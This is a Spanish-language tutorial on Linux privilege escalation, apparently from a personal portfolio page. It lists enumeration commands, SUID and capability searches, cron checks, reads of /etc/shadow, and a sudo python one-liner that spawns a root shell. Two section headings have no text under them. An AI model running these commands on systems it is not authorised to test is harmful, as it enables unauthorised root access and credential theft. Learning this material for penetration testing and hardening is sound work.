Privilege escalation en Linux

1. Objetivo

La escalada de privilegios consiste en pasar de un usuario con permisos limitados a otro con más privilegios, normalmente root.

2. Enumeración inicial

Antes de intentar explotar nada, conviene revisar:

id
whoami
sudo -l
uname -a
cat /etc/os-release

También es útil revisar:

ls -la
find / -perm -4000 2>/dev/null
find / -type f -name "*.conf" 2>/dev/null | head

3. Revisar sudo

sudo -l

Si un usuario puede ejecutar ciertos comandos como root, ese es un origen muy común de escalada.

Ejemplos:

sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'

4. SUID y SGID

Los binarios con permisos SUID pueden ejecutarse con privilegios del propietario.

find / -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null

Si se encuentra un binario vulnerable o útil, puede explotarse para obtener un shell con privilegios.

5. Cron jobs

Los trabajos programados en cron pueden ser una puerta de escalada si se ejecutan como root y el contenido es modificable por el atacante.

ls -l /etc/crontab
ls -l /etc/cron* 
cat /etc/crontab

6. Archivos de configuración sensibles

Mucha información útil se encuentra en archivos de configuración o credenciales almacenadas sin protección adecuada.

cat /etc/passwd
cat /etc/shadow
ls -la /home

Si hay archivos con permisos laxos, a veces es posible extraer credenciales o contenido sensible.

7. Capabilities

Algunos binarios pueden tener capabilities Linux que permiten ejecutar comandos como root sin un sudo directo.

getcap -r / 2>/dev/null

8. Misconfiguraciones comunes

9. Ejemplo de escalada por sudo

sudo -l
sudo /bin/bash

Si el usuario puede ejecutar bash como root, la escalada es inmediata.

10. Recomendaciones

11. Resumen

La escalada de privilegios en Linux normalmente se basa en entender permisos, procesos, tareas automáticas y rutas de ejecución privilegiada. La clave está en la enumeración: casi siempre hay un buen punto de entrada si miras con atención los permisos y las configs.

Asistente IA

Powered by Gemini
¡Hola! Soy el asistente IA corporativo del portfolio de Mario ✨. ¿En qué te puedo ayudar hoy?